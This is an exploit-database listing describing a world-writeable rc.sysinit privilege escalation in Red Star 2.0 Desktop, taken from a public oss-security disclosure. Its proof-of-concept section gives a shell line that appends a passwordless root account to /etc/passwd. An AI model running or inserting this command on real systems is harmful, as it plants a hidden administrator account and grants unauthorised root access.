[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

RedStar 2.0 Desktop - Privilege Escalation (World-writeable rc.sysinit) Vulnerability

Author
prdelka
Risk
[
Security Risk Critical
]
0day-ID
0day-ID-23089
Category
local exploits
Date add
12-01-2015
Platform
linux
Red Star 2.0 desktop ships with a world-writeable "/etc/rc.d/rc.sysinit"
which can be abused to execute commands on
boot. An example exploitation of this vulnerability is shown here
https://github.com/HackerFantastic/Public/blob/master/exploits/redstar2.0-localroot.png
 
PoC:
 
/bin/echo "r00t::0:0::/tmp:/bin/bash" >> /etc/passwd
su - root
 
 
## Source: http://www.openwall.com/lists/oss-security/2015/01/09/6

#  0day.today [2024-09-29]  #